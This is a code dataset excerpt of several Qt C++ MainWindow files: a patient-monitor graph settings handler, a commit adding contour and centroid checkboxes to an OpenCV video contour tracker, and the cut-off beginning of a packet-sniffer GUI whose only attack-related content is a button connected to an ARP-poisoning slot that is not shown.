m_graphSettingsPop->initialized(m_selectedGraphWidget->getGraphWaveSize(),GraphECG);\r\n break;\r\n\r\n case GraphABP:\r\n m_graphSettingsPop->initialized(m_selectedGraphWidget->getGraphWaveSize(),GraphABP);\r\n break;\r\n\r\n case GraphPLETH:\r\n m_graphSettingsPop->initialized(m_selectedGraphWidget->getGraphWaveSize(),GraphPLETH);\r\n break;\r\n\r\n case GraphCO2:\r\n \/\/TODO\r\n break;\r\n }\r\n m_graphSettingsPop->show();\r\n }\r\n}\r\n\r\nvoid MainWindow::onGraphMenuPopupOk()\r\n{\r\n if(m_selectedGraphWidget->getGraphWaveSize()!=m_graphSettingsPop->m_graphWaveSize)\r\n {\r\n switch(m_selectedGraphWidget->getGraphType())\r\n {\r\n case GraphECG:\r\n m_selectedGraphWidget->initialized(GraphECG,m_graphSettingsPop->m_graphWaveSize);\r\n m_selectedGraphWidget->repaint();\r\n break;\r\n\r\n case GraphABP:\r\n m_selectedGraphWidget->initialized(GraphABP,m_graphSettingsPop->m_graphWaveSize);\r\n m_selectedGraphWidget->repaint();\r\n break;\r\n\r\n case GraphPLETH:\r\n m_selectedGraphWidget->initialized(GraphPLETH,m_graphSettingsPop->m_graphWaveSize);\r\n m_selectedGraphWidget->repaint();\r\n break;\r\n\r\n case GraphCO2:\r\n \/\/TODO\r\n break;\r\n }\r\n }\r\n\r\n m_graphSettingsPop->hide();\r\n m_graphSettingsPop->close();\r\n m_graphSettingsPop->m_isVisible=false;\r\n m_selectedGraphWidget=NULL;\r\n}\r\n\r\nvoid MainWindow::onGraphMenuPopupCancel()\r\n{\r\n m_graphSettingsPop->hide();\r\n m_graphSettingsPop->close();\r\n m_graphSettingsPop->m_isVisible=false;\r\n m_selectedGraphWidget=NULL;\r\n}\r\n\r\n\r\n#ifdef PMD_HAMP\r\n\r\nvoid MainWindow::takeScreenSnapshort()\r\n{\r\n QRect r= this->rect();\r\n QPixmap pixmap=this->grab(r);\r\n QString fileName = m_hampdataSupplier->getScreenShortPath();\r\n\r\n\tqDebug(\"MainWindow::takeScreenSnapshort()\\n\");\r\n\r\n if(pixmap.isNull()==false)\r\n pixmap.save(fileName,\"PNG\");\r\n else\r\n printf(\"\\npixmap is NULL\");\r\n}\r\n\r\n#endif\r\n<|endoftext|>"} {"text":"<commit_before>#include \"mainwindow.h\"\n#include \"ui_mainwindow.h\"\n\nMainWindow::MainWindow(QWidget *parent) :\n QMainWindow(parent),\n ui(new Ui::MainWindow)\n{\n \/\/ Set up Qt toolbar window\n ui->setupUi(this);\n ui->contourTable->horizontalHeader()->setSectionResizeMode(QHeaderView::Fixed);\n ui->pointEditorPanel->hide();\n ui->frameSlider->setEnabled(false);\n ui->frameSpinBox->setEnabled(false);\n\n \/\/ Set window icon\n QPixmap logo = QPixmap(\":\/Logo\/northern-red.png\");\n \/\/setWindowIcon(QIcon(logo));\n\n \/\/ Set up scene\n scene = new QGraphicsScene(this);\n ui->graphicsView->setScene(scene);\n ui->graphicsView->setBackgroundBrush(QBrush(Qt::black, Qt::SolidPattern));\n ui->insetView->setScene(scene);\n ui->insetView->setBackgroundBrush(QBrush(Qt::black, Qt::SolidPattern));\n\n \/\/ Set up frame\n image_item = new ImageItem();\n image_item->setPixmap(logo);\n scene->addItem(image_item);\n\n \/\/ Set up chart\n chart = new Chart;\n chart->setTitle(\"Dynamic spline chart\");\n chart->legend()->hide();\n chart->setAnimationOptions(QChart::AllAnimations);\n chart_view = new QChartView(chart);\n chart_view->setRenderHint(QPainter::Antialiasing);\n chart_view->setFixedSize(300,400);\n ui->chartLayout->addWidget(chart_view);\n\n \/\/ Connect signals\n connect(image_item, SIGNAL(currentPositionRgbChanged(QPointF&)), this, SLOT(showMousePosition(QPointF&)));\n connect(image_item, SIGNAL(pixelClicked(QPointF&)), this, SLOT(onPixelClicked(QPointF&)));\n connect(ui->contourTable, SIGNAL(itemSelectionChanged()), this, SLOT(on_contourTable_itemSelectionChanged()));\n connect(ui->contourTable, SIGNAL(currentCellChanged(int,int,int,int)), this, SLOT(on_contourTable_currentCellChanged(int,int,int,int)));\n show();\n}\n\nMainWindow::~MainWindow()\n{\n delete ui;\n}\n\nvoid MainWindow::showMousePosition(QPointF &pos)\n{\n if (!current_frame.empty())\n {\n cv::Size mat_size = current_frame.size();\n int x = static_cast<int>(pos.x());\n int y = static_cast<int>(pos.y());\n if (x >= 0 && y >= 0 && x <= mat_size.width && y <= mat_size.height)\n {\n ui->mousePositionLabel->setText(\"x: \" + QString::number(x) + \", y: \" + QString::number(y));\n }\n }\n}\n\nvoid MainWindow::onPixelClicked(QPointF &pos)\n{\n if (!current_frame.empty())\n {\n cv::Size mat_size = current_frame.size();\n int x = static_cast<int>(pos.x());\n int y = static_cast<int>(pos.y());\n if (x >= 0 && y >= 0 && x <= mat_size.width && y <= mat_size.height)\n {\n\/\/ int row = ui->frameSlider->value()-1;\n\/\/\/\/ QString text = QString(\"%1, %2\").arg(x).arg(y);\n\/\/\/\/ ui->contourTable->setItem(row, 0, new QTableWidgetItem(text));\n\/\/ removeAllSceneEllipses();\n\/\/ removeAllSceneLines();\n\/\/ drawCrosshair(x, y);\n\n \/\/ Update inset\n ui->insetView->centerOn(x,y);\n }\n }\n}\n\nvoid MainWindow::removeAllSceneEllipses()\n{\n foreach (QGraphicsItem *item, scene->items())\n {\n QGraphicsEllipseItem *ellipse = qgraphicsitem_cast<QGraphicsEllipseItem *>(item);\n if (ellipse)\n {\n scene->removeItem(ellipse);\n }\n }\n}\n\nvoid MainWindow::removeAllSceneLines()\n{\n foreach (QGraphicsItem *item, scene->items())\n {\n QGraphicsLineItem *line = qgraphicsitem_cast<QGraphicsLineItem *>(item);\n if (line)\n {\n scene->removeItem(line);\n }\n }\n}\n\nvoid MainWindow::drawCrosshair(int x, int y, QColor color)\n{\n QPen pen = QPen(color, 1, Qt::SolidLine, Qt::SquareCap, Qt::BevelJoin);\n scene->addEllipse( x-5, y-5, 10, 10, pen);\n scene->addLine(x-4, y, x+4, y, pen);\n scene->addLine(x, y-4, x, y+4, pen);\n}\n\nvoid MainWindow::savePointsToCSV(QString filename)\n{\n QString text_data;\n int row_count = ui->contourTable->rowCount();\n text_data += QString(\"x,y,\\n\");\n for (int row=0; row<row_count; row++)\n {\n QTableWidgetItem* item = ui->contourTable->item(row, 0);\n if (item)\n {\n QStringList coordinate = item->text().split(\",\");\n text_data += coordinate[0];\n text_data += \",\";\n text_data += coordinate[1];\n text_data += \",\";\n text_data += \"\\n\";\n }\n }\n QFile csv_file(filename);\n if(csv_file.open(QIODevice::WriteOnly | QIODevice::Truncate))\n {\n\n QTextStream out(&csv_file);\n out << text_data;\n\n csv_file.close();\n }\n qDebug() << \"saved all points: \" << filename;\n}\n\nvoid MainWindow::drawAllContours(int frame_index, int contour_index)\n{\n if (frame_contours.size()>0)\n {\n \/\/\/ Remove the previous crosshairs\n removeAllSceneEllipses();\n removeAllSceneLines();\n\n \/\/\/ Set the frame\n cap.set(CV_CAP_PROP_POS_FRAMES, frame_index);\n cap.read(current_frame);\n\n \/\/\/ Draw contours\n cv::RNG rng(12345);\n ContourList contours = frame_contours.at(frame_index);\n Hierarchy hierarchy = frame_hierarchies.at(frame_index);\n std::vector<cv::Point> centroids = frame_centroids.at(frame_index);\n for (int i=0; i<contour_colors.size(); i++)\n {\n cv::Scalar color = contour_colors.at(i);\n if (i==contour_index)\n {\n cv::drawContours(current_frame, contours, i, color, 2, 8, hierarchy, 0, cv::Point());\n } else {\n cv::drawContours(current_frame, contours, i, color, 1, 8, hierarchy, 0, cv::Point());\n }\n cv::Point centroid = centroids.at(i);\n drawCrosshair(centroid.x, centroid.y);\n \/\/drawCrosshair(centroid.x, centroid.y, QColor(color.val[0], color.val[1], color.val[2], 255));\n }\n\n \/\/\/ Show in a window\n img = QImage((uchar*) current_frame.data, current_frame.cols, current_frame.rows, current_frame.step, QImage::Format_RGB888);\n QPixmap pixmap;\n pixmap = QPixmap::fromImage(img);\n\n \/\/\/ Show in view, scaled to view bounds & keeping aspect ratio\n image_item->setPixmap(pixmap);\n }\n}\n\ncv::Point MainWindow::getMeanPoint(const Contour contour)\n{\n cv::Point zero(0.0f, 0.0f);\n cv::Point sum = std::accumulate(contour.begin(), contour.end(), zero);\n cv::Point mean_point = (sum * (1.0f \/ contour.size()));\n return mean_point;\n}\n\ncv::Point MainWindow::getCenterOfMass(const Contour contour)\n{\n cv::Moments mu = cv::moments(contour);\n cv::Point centroid = cv::Point(mu.m10\/mu.m00 , mu.m01\/mu.m00);\n if (centroid.x < 0 || centroid.y < 0)\n {\n return getMeanPoint(contour);\n } else {\n return centroid;\n }\n}\n\nvoid MainWindow::updateAllContours()\n{\n \/\/\/ Clear current contours\n frame_centroids.clear();\n frame_contours.clear();\n frame_hierarchies.clear();\n contour_colors.clear();\n\n\n \/\/\/ Find contours\n int frame_count = cap.get(CV_CAP_PROP_FRAME_COUNT);\n frame_centroids.resize(frame_count);\n frame_contours.resize(frame_count);\n frame_hierarchies.resize(frame_count);\n\n int thresh = 100;\n cv::RNG rng(12345);\n cv::Mat src_gray;\n cv::Mat canny_output;\n int max_size = 0;\n ContourListSet initial_contours;\n HierarchyListSet initial_hierarchies;\n for (int i=0; i<frame_count; i++)\n {\n cap.set(CV_CAP_PROP_POS_FRAMES, i);\n cap.read(current_frame);\n\n \/\/\/ Convert image to gray and blur it\n cv::cvtColor(current_frame, src_gray, CV_BGR2GRAY);\n cv::blur(src_gray, src_gray, cv::Size(3,3));\n\n \/\/\/ Detect edges using canny\n cv::Canny(src_gray, canny_output, thresh, thresh*2, 3);\n\n \/\/\/ Find contours\n std::vector<cv::Vec4i> hierarchy;\n ContourList contours;\n cv::findContours(canny_output, contours, hierarchy, CV_RETR_EXTERNAL, CV_CHAIN_APPROX_SIMPLE, cv::Point(0, 0));\n initial_contours.push_back(contours);\n initial_hierarchies.push_back(hierarchy);\n if ((int)contours.size() > max_size)\n {\n max_size = contours.size();\n }\n\n \/\/\/ Find centroid (mean) of each contour\n for(int j=0; j<(int)contours.size(); j++)\n {\n Contour contour = contours.at(j);\n frame_centroids[i].push_back(getMeanPoint(contour));\n }\n }\n contour_colors.resize(initial_contours.at(0).size());\n qDebug() << \"Completed finding contours\";\n\n for (int c=0; c<contour_colors.size(); c++)\n {\n \/\/\/ Match first contour\n frame_contours.at(0).push_back(initial_contours.at(0).at(c));\n frame_hierarchies.at(0).push_back(initial_hierarchies.at(0).at(c));\n std::vector<cv::Point> first_set = frame_centroids.at(0);\n cv::Point first_point = first_set.at(c);\n for (int i=1; i<(int)frame_count; i++)\n {\n std::vector<cv::Point> point_set = frame_centroids.at(i);\n int best_distance = current_frame.cols;\n int index = -1;\n for (int k=0; k<(int)point_set.size(); k++)\n {\n cv::Point point = point_set.at(k);\n double dist = cv::norm(first_point-point);\n\n if (dist < best_distance)\n {\n best_distance = dist;\n index = k;\n }\n }\n first_point = point_set.at(index);\n frame_contours.at(i).push_back(initial_contours.at(i).at(index));\n frame_hierarchies.at(i).push_back(initial_hierarchies.at(i).at(index));\n }\n \/\/\/ Set the color for the contour\n cv::Scalar color = cv::Scalar(rng.uniform(0, 255), rng.uniform(0,255), rng.uniform(0,255));\n contour_colors[c] = (color);\n\n \/\/\/ Add first contour to the table\n ui->contourTable->insertRow(ui->contourTable->rowCount());\n ui->contourTable->setItem(ui->contourTable->rowCount()-1, 0, new QTableWidgetItem());\n ui->contourTable->item(ui->contourTable->rowCount()-1, 0)->setBackgroundColor(QColor(color.val[0], color.val[1], color.val[2], 255));\n }\n qDebug() << \"Found\" << contour_colors.size() << \"contours\";\n}\n\nvoid MainWindow::on_frameSpinBox_valueChanged(int arg1)\n{\n int frame_index = arg1-1;\n int contour_index = ui->contourTable->currentRow();\n drawAllContours(frame_index, contour_index);\n}\n\nvoid MainWindow::resizeEvent(QResizeEvent *event)\n{\n if (!current_frame.empty())\n {\n img = QImage((uchar*) current_frame.data, current_frame.cols, current_frame.rows, current_frame.step, QImage::Format_RGB888);\n QPixmap pixmap = QPixmap::fromImage(img);\n\n \/\/ Show in view, scaled to view bounds & keeping aspect ratio\n image_item->setPixmap(pixmap);\n QRectF bounds = scene->itemsBoundingRect();\n ui->graphicsView->fitInView(bounds, Qt::KeepAspectRatio);\n ui->graphicsView->centerOn(0,0);\n }\n}\n\nvoid MainWindow::on_action_Open_triggered()\n{ \n \/\/\/ Load a video\n QString result = QFileDialog::getOpenFileName(this, tr(\"Select a Video File\"), \"\/home\", tr(\"Video Files (*.avi)\"));\n video_filepath = result.toUtf8().constData();\n QString video_filename = QString::fromStdString(video_filepath.substr(video_filepath.find_last_of(\"\/\\\\\") + 1));\n cap = cv::VideoCapture(video_filepath);\n qDebug() << \"opened video: \" << video_filename;\n\n \/\/\/ Enable video control elements, update elements with video information.\n int frame_count = cap.get(CV_CAP_PROP_FRAME_COUNT);\n ui->pointEditorPanel->show();\n ui->videoComboBox->addItem(video_filename);\n\n \/\/\/ Get contours\n updateAllContours();\n\n \/\/\/ show frame zero\n cap.set(CV_CAP_PROP_POS_FRAMES, 0);\n cap.read(current_frame);\n img = QImage((uchar*) current_frame.data, current_frame.cols, current_frame.rows, current_frame.step, QImage::Format_RGB888);\n QPixmap pixmap = QPixmap::fromImage(img);\n\n \/\/\/ Show in view, scaled to view bounds & keeping aspect ratio\n image_item->setPixmap(pixmap);\n QRectF bounds = scene->itemsBoundingRect();\n ui->graphicsView->fitInView(bounds, Qt::KeepAspectRatio);\n ui->graphicsView->centerOn(0,0);\n\n \/\/\/ 5X scale in inset view\n ui->insetView->scale(5,5);\n ui->insetView->centerOn(bounds.center());\n\n \/\/\/ Set up chart\n chart->axisX()->setRange(1, frame_count);\n\n \/\/\/ Enable frame sliders\n ui->frameSlider->setEnabled(true);\n ui->frameSlider->setRange(1, frame_count);\n ui->frameSpinBox->setEnabled(true);\n ui->frameSpinBox->setRange(1, frame_count);\n}\n\nvoid MainWindow::on_contourTable_itemSelectionChanged()\n{\n QItemSelectionModel *selection = ui->contourTable->selectionModel();\n ui->deleteContourButton->setEnabled(selection->hasSelection());\n}\n\nvoid MainWindow::on_contourTable_currentCellChanged(int row, int column, int previous_row, int previous_column)\n{\n \/\/\/ Outline the contour selected in the table\n int frame_index = cap.get(CV_CAP_PROP_POS_FRAMES)-1;\n drawAllContours(frame_index, row);\n}\n\nvoid MainWindow::on_deleteContourButton_clicked()\n{\n QItemSelectionModel *selection = ui->contourTable->selectionModel();\n int row;\n int shift = 0;\n foreach (QModelIndex index, selection->selectedRows())\n {\n row = index.row() - shift;\n ui->contourTable->removeRow(row);\n \/\/\/ Erase the contour in each frame\n for (int i=0; i<frame_contours.size(); i++)\n {\n frame_contours[i].erase(frame_contours[i].begin() + row);\n frame_hierarchies[i].erase(frame_hierarchies[i].begin() + row);\n }\n contour_colors.erase(contour_colors.begin() + row);\n shift++;\n }\n on_frameSpinBox_valueChanged(ui->frameSpinBox->value());\n}\n\nvoid MainWindow::on_findContoursButton_clicked()\n{\n \/\/\/ TODO: Check if contours have been updated (deleted) before doing this.\n updateAllContours();\n on_frameSpinBox_valueChanged(ui->frameSpinBox->value());\n}\n<commit_msg>Added contour, centroid checkboxes.<commit_after>#include \"mainwindow.h\"\n#include \"ui_mainwindow.h\"\n\nMainWindow::MainWindow(QWidget *parent) :\n QMainWindow(parent),\n ui(new Ui::MainWindow)\n{\n \/\/ Set up Qt toolbar window\n ui->setupUi(this);\n ui->contourTable->horizontalHeader()->setSectionResizeMode(QHeaderView::Fixed);\n ui->pointEditorPanel->hide();\n ui->frameSlider->setEnabled(false);\n ui->frameSpinBox->setEnabled(false);\n\n \/\/ Set window icon\n QPixmap logo = QPixmap(\":\/Logo\/northern-red.png\");\n \/\/setWindowIcon(QIcon(logo));\n\n \/\/ Set up scene\n scene = new QGraphicsScene(this);\n ui->graphicsView->setScene(scene);\n ui->graphicsView->setBackgroundBrush(QBrush(Qt::black, Qt::SolidPattern));\n ui->insetView->setScene(scene);\n ui->insetView->setBackgroundBrush(QBrush(Qt::black, Qt::SolidPattern));\n\n \/\/ Set up frame\n image_item = new ImageItem();\n image_item->setPixmap(logo);\n scene->addItem(image_item);\n\n \/\/ Set up chart\n chart = new Chart;\n chart->setTitle(\"Dynamic spline chart\");\n chart->legend()->hide();\n chart->setAnimationOptions(QChart::AllAnimations);\n chart_view = new QChartView(chart);\n chart_view->setRenderHint(QPainter::Antialiasing);\n chart_view->setFixedSize(300,400);\n ui->chartLayout->addWidget(chart_view);\n\n \/\/ Connect signals\n connect(image_item, SIGNAL(currentPositionRgbChanged(QPointF&)), this, SLOT(showMousePosition(QPointF&)));\n connect(image_item, SIGNAL(pixelClicked(QPointF&)), this, SLOT(onPixelClicked(QPointF&)));\n connect(ui->contourTable, SIGNAL(itemSelectionChanged()), this, SLOT(on_contourTable_itemSelectionChanged()));\n connect(ui->contourTable, SIGNAL(currentCellChanged(int,int,int,int)), this, SLOT(on_contourTable_currentCellChanged(int,int,int,int)));\n show();\n}\n\nMainWindow::~MainWindow()\n{\n delete ui;\n}\n\nvoid MainWindow::showMousePosition(QPointF &pos)\n{\n if (!current_frame.empty())\n {\n cv::Size mat_size = current_frame.size();\n int x = static_cast<int>(pos.x());\n int y = static_cast<int>(pos.y());\n if (x >= 0 && y >= 0 && x <= mat_size.width && y <= mat_size.height)\n {\n ui->mousePositionLabel->setText(\"x: \" + QString::number(x) + \", y: \" + QString::number(y));\n }\n }\n}\n\nvoid MainWindow::onPixelClicked(QPointF &pos)\n{\n if (!current_frame.empty())\n {\n cv::Size mat_size = current_frame.size();\n int x = static_cast<int>(pos.x());\n int y = static_cast<int>(pos.y());\n if (x >= 0 && y >= 0 && x <= mat_size.width && y <= mat_size.height)\n {\n\/\/ int row = ui->frameSlider->value()-1;\n\/\/\/\/ QString text = QString(\"%1, %2\").arg(x).arg(y);\n\/\/\/\/ ui->contourTable->setItem(row, 0, new QTableWidgetItem(text));\n\/\/ removeAllSceneEllipses();\n\/\/ removeAllSceneLines();\n\/\/ drawCrosshair(x, y);\n\n \/\/ Update inset\n ui->insetView->centerOn(x,y);\n }\n }\n}\n\nvoid MainWindow::removeAllSceneEllipses()\n{\n foreach (QGraphicsItem *item, scene->items())\n {\n QGraphicsEllipseItem *ellipse = qgraphicsitem_cast<QGraphicsEllipseItem *>(item);\n if (ellipse)\n {\n scene->removeItem(ellipse);\n }\n }\n}\n\nvoid MainWindow::removeAllSceneLines()\n{\n foreach (QGraphicsItem *item, scene->items())\n {\n QGraphicsLineItem *line = qgraphicsitem_cast<QGraphicsLineItem *>(item);\n if (line)\n {\n scene->removeItem(line);\n }\n }\n}\n\nvoid MainWindow::drawCrosshair(int x, int y, QColor color)\n{\n QPen pen = QPen(color, 1, Qt::SolidLine, Qt::SquareCap, Qt::BevelJoin);\n scene->addEllipse( x-5, y-5, 10, 10, pen);\n scene->addLine(x-4, y, x+4, y, pen);\n scene->addLine(x, y-4, x, y+4, pen);\n}\n\nvoid MainWindow::savePointsToCSV(QString filename)\n{\n QString text_data;\n int row_count = ui->contourTable->rowCount();\n text_data += QString(\"x,y,\\n\");\n for (int row=0; row<row_count; row++)\n {\n QTableWidgetItem* item = ui->contourTable->item(row, 0);\n if (item)\n {\n QStringList coordinate = item->text().split(\",\");\n text_data += coordinate[0];\n text_data += \",\";\n text_data += coordinate[1];\n text_data += \",\";\n text_data += \"\\n\";\n }\n }\n QFile csv_file(filename);\n if(csv_file.open(QIODevice::WriteOnly | QIODevice::Truncate))\n {\n\n QTextStream out(&csv_file);\n out << text_data;\n\n csv_file.close();\n }\n qDebug() << \"saved all points: \" << filename;\n}\n\nvoid MainWindow::drawAllContours(int frame_index, int contour_index)\n{\n if (frame_contours.size()>0)\n {\n \/\/\/ Remove the previous crosshairs\n removeAllSceneEllipses();\n removeAllSceneLines();\n\n \/\/\/ Set the frame\n cap.set(CV_CAP_PROP_POS_FRAMES, frame_index);\n cap.read(current_frame);\n\n \/\/\/ Draw contours\n if (ui->contoursCheckBox->isChecked())\n {\n cv::RNG rng(12345);\n ContourList contours = frame_contours.at(frame_index);\n Hierarchy hierarchy = frame_hierarchies.at(frame_index);\n for (int i=0; i<contour_colors.size(); i++)\n {\n cv::Scalar color = contour_colors.at(i);\n if (i==contour_index)\n {\n cv::drawContours(current_frame, contours, i, color, 2, 8, hierarchy, 0, cv::Point());\n } else {\n cv::drawContours(current_frame, contours, i, color, 1, 8, hierarchy, 0, cv::Point());\n }\n\n }\n }\n\n \/\/\/ Draw centroids\n if (ui->centroidsCheckBox->isChecked())\n {\n std::vector<cv::Point> centroids = frame_centroids.at(frame_index);\n for (int i=0; i<centroids.size(); i++)\n {\n cv::Point centroid = centroids.at(i);\n drawCrosshair(centroid.x, centroid.y);\n }\n }\n\n \/\/\/ Show in a window\n img = QImage((uchar*) current_frame.data, current_frame.cols, current_frame.rows, current_frame.step, QImage::Format_RGB888);\n QPixmap pixmap;\n pixmap = QPixmap::fromImage(img);\n\n \/\/\/ Show in view, scaled to view bounds & keeping aspect ratio\n image_item->setPixmap(pixmap);\n }\n}\n\ncv::Point MainWindow::getMeanPoint(const Contour contour)\n{\n cv::Point zero(0.0f, 0.0f);\n cv::Point sum = std::accumulate(contour.begin(), contour.end(), zero);\n cv::Point mean_point = (sum * (1.0f \/ contour.size()));\n return mean_point;\n}\n\ncv::Point MainWindow::getCenterOfMass(const Contour contour)\n{\n cv::Moments mu = cv::moments(contour);\n cv::Point centroid = cv::Point(mu.m10\/mu.m00 , mu.m01\/mu.m00);\n if (centroid.x < 0 || centroid.y < 0)\n {\n return getMeanPoint(contour);\n } else {\n return centroid;\n }\n}\n\nvoid MainWindow::updateAllContours()\n{\n \/\/\/ Clear current contours\n frame_centroids.clear();\n frame_contours.clear();\n frame_hierarchies.clear();\n contour_colors.clear();\n\n \/\/\/ Find contours\n int frame_count = cap.get(CV_CAP_PROP_FRAME_COUNT);\n frame_centroids.resize(frame_count);\n frame_contours.resize(frame_count);\n frame_hierarchies.resize(frame_count);\n\n int thresh = 100;\n cv::RNG rng(12345);\n cv::Mat src_gray;\n cv::Mat canny_output;\n int max_size = 0;\n ContourListSet initial_contours;\n HierarchyListSet initial_hierarchies;\n for (int i=0; i<frame_count; i++)\n {\n cap.set(CV_CAP_PROP_POS_FRAMES, i);\n cap.read(current_frame);\n\n \/\/\/ Convert image to gray and blur it\n cv::cvtColor(current_frame, src_gray, CV_BGR2GRAY);\n cv::blur(src_gray, src_gray, cv::Size(3,3));\n\n \/\/\/ Detect edges using canny\n cv::Canny(src_gray, canny_output, thresh, thresh*2, 3);\n\n \/\/\/ Find contours\n std::vector<cv::Vec4i> hierarchy;\n ContourList contours;\n cv::findContours(canny_output, contours, hierarchy, CV_RETR_EXTERNAL, CV_CHAIN_APPROX_SIMPLE, cv::Point(0, 0));\n initial_contours.push_back(contours);\n initial_hierarchies.push_back(hierarchy);\n if ((int)contours.size() > max_size)\n {\n max_size = contours.size();\n }\n\n \/\/\/ Find centroid (mean) of each contour\n for(int j=0; j<(int)contours.size(); j++)\n {\n Contour contour = contours.at(j);\n frame_centroids[i].push_back(getMeanPoint(contour));\n }\n }\n contour_colors.resize(initial_contours.at(0).size());\n qDebug() << \"Completed finding contours\";\n\n for (int c=0; c<contour_colors.size(); c++)\n {\n \/\/\/ Match first contour\n frame_contours.at(0).push_back(initial_contours.at(0).at(c));\n frame_hierarchies.at(0).push_back(initial_hierarchies.at(0).at(c));\n std::vector<cv::Point> first_set = frame_centroids.at(0);\n cv::Point first_point = first_set.at(c);\n for (int i=1; i<(int)frame_count; i++)\n {\n std::vector<cv::Point> point_set = frame_centroids.at(i);\n int best_distance = current_frame.cols;\n int index = -1;\n for (int k=0; k<(int)point_set.size(); k++)\n {\n cv::Point point = point_set.at(k);\n double dist = cv::norm(first_point-point);\n\n if (dist < best_distance)\n {\n best_distance = dist;\n index = k;\n }\n }\n first_point = point_set.at(index);\n frame_contours.at(i).push_back(initial_contours.at(i).at(index));\n frame_hierarchies.at(i).push_back(initial_hierarchies.at(i).at(index));\n }\n \/\/\/ Set the color for the contour\n cv::Scalar color = cv::Scalar(rng.uniform(0, 255), rng.uniform(0,255), rng.uniform(0,255));\n contour_colors[c] = (color);\n\n \/\/\/ Add first contour to the table\n ui->contourTable->insertRow(ui->contourTable->rowCount());\n ui->contourTable->setItem(ui->contourTable->rowCount()-1, 0, new QTableWidgetItem());\n ui->contourTable->item(ui->contourTable->rowCount()-1, 0)->setBackgroundColor(QColor(color.val[0], color.val[1], color.val[2], 255));\n }\n qDebug() << \"Found\" << contour_colors.size() << \"contours\";\n}\n\nvoid MainWindow::on_frameSpinBox_valueChanged(int arg1)\n{\n int frame_index = arg1-1;\n int contour_index = ui->contourTable->currentRow();\n drawAllContours(frame_index, contour_index);\n}\n\nvoid MainWindow::resizeEvent(QResizeEvent *event)\n{\n if (!current_frame.empty())\n {\n img = QImage((uchar*) current_frame.data, current_frame.cols, current_frame.rows, current_frame.step, QImage::Format_RGB888);\n QPixmap pixmap = QPixmap::fromImage(img);\n\n \/\/ Show in view, scaled to view bounds & keeping aspect ratio\n image_item->setPixmap(pixmap);\n QRectF bounds = scene->itemsBoundingRect();\n ui->graphicsView->fitInView(bounds, Qt::KeepAspectRatio);\n ui->graphicsView->centerOn(0,0);\n }\n}\n\nvoid MainWindow::on_action_Open_triggered()\n{ \n \/\/\/ Load a video\n QString result = QFileDialog::getOpenFileName(this, tr(\"Select a Video File\"), \"\/home\", tr(\"Video Files (*.avi)\"));\n video_filepath = result.toUtf8().constData();\n QString video_filename = QString::fromStdString(video_filepath.substr(video_filepath.find_last_of(\"\/\\\\\") + 1));\n cap = cv::VideoCapture(video_filepath);\n qDebug() << \"opened video: \" << video_filename;\n\n \/\/\/ Enable video control elements, update elements with video information.\n int frame_count = cap.get(CV_CAP_PROP_FRAME_COUNT);\n ui->pointEditorPanel->show();\n ui->videoComboBox->addItem(video_filename);\n\n \/\/\/ Get contours\n updateAllContours();\n\n \/\/\/ show frame zero\n cap.set(CV_CAP_PROP_POS_FRAMES, 0);\n cap.read(current_frame);\n img = QImage((uchar*) current_frame.data, current_frame.cols, current_frame.rows, current_frame.step, QImage::Format_RGB888);\n QPixmap pixmap = QPixmap::fromImage(img);\n\n \/\/\/ Show in view, scaled to view bounds & keeping aspect ratio\n image_item->setPixmap(pixmap);\n QRectF bounds = scene->itemsBoundingRect();\n ui->graphicsView->fitInView(bounds, Qt::KeepAspectRatio);\n ui->graphicsView->centerOn(0,0);\n\n \/\/\/ 5X scale in inset view\n ui->insetView->scale(5,5);\n ui->insetView->centerOn(bounds.center());\n\n \/\/\/ Set up chart\n chart->axisX()->setRange(1, frame_count);\n\n \/\/\/ Enable frame sliders\n ui->frameSlider->setEnabled(true);\n ui->frameSlider->setRange(1, frame_count);\n ui->frameSpinBox->setEnabled(true);\n ui->frameSpinBox->setRange(1, frame_count);\n}\n\nvoid MainWindow::on_contourTable_itemSelectionChanged()\n{\n QItemSelectionModel *selection = ui->contourTable->selectionModel();\n ui->deleteContourButton->setEnabled(selection->hasSelection());\n}\n\nvoid MainWindow::on_contourTable_currentCellChanged(int row, int column, int previous_row, int previous_column)\n{\n \/\/\/ Outline the contour selected in the table\n int frame_index = cap.get(CV_CAP_PROP_POS_FRAMES)-1;\n drawAllContours(frame_index, row);\n}\n\nvoid MainWindow::on_deleteContourButton_clicked()\n{\n QItemSelectionModel *selection = ui->contourTable->selectionModel();\n int row;\n int shift = 0;\n foreach (QModelIndex index, selection->selectedRows())\n {\n row = index.row() - shift;\n ui->contourTable->removeRow(row);\n \/\/\/ Erase the contour in each frame\n for (int i=0; i<frame_contours.size(); i++)\n {\n frame_contours[i].erase(frame_contours[i].begin() + row);\n frame_hierarchies[i].erase(frame_hierarchies[i].begin() + row);\n }\n contour_colors.erase(contour_colors.begin() + row);\n shift++;\n }\n on_frameSpinBox_valueChanged(ui->frameSpinBox->value());\n}\n\nvoid MainWindow::on_findContoursButton_clicked()\n{\n \/\/\/ TODO: Check if contours have been updated (deleted) before doing this.\n updateAllContours();\n on_frameSpinBox_valueChanged(ui->frameSpinBox->value());\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"mainwindow.h\"\n#include \"ui_mainwindow.h\"\n#include \"Sniffer.h\"\n#include \"dialoginterface.h\"\n#include <QFileDialog>\n#include <cstdlib>\n\nMainWindow::MainWindow(QWidget *parent) :\n QMainWindow(parent),\n ui(new Ui::MainWindow)\n{\n ui->setupUi(this);\n ui->pb_scroll->setCheckable(true);\n ui->tableWidget->setSelectionBehavior(QAbstractItemView::SelectRows);\n client1 = NULL;\n client2 = NULL;\n counter = 0;\n\n thread = new QThread();\n sniffer = new Sniffer();\n sniffer->moveToThread(thread);\n\n QTimer *timer = new QTimer(this);\n timer->setInterval(50);\n timer->start(100);\n connect(thread, SIGNAL(started()), sniffer, SLOT(Start()));\n connect(timer, SIGNAL(timeout()), this, SLOT(getNewPackets()));\n\n connect(ui->pb_sniff, SIGNAL(clicked()), this, SLOT(ToggleSniffer()));\n connect(ui->pb_clear, SIGNAL(clicked()), this, SLOT(Clear()));\n connect(ui->pb_load, SIGNAL(clicked()), this, SLOT(Load()));\n connect(ui->pb_save, SIGNAL(clicked()), this, SLOT(Save()));\n\n#ifdef __linux__\n connect(ui->pb_arp, SIGNAL(clicked()), this, SLOT(ArpPoisoning()));\n#endif\n}\n\nMainWindow::~MainWindow()\n{\n delete ui;\n}\n\nvoid MainWindow::Clear()\n{\n sniffer->mutex.lock();\n ui->tableWidget->clearContents();\n ui->tableWidget->setRowCount(0);\n for (std::list<SniffedPacket *>::iterator it = sniffer->Packets.begin(); it != sniffer->Packets.end(); it++)\n delete 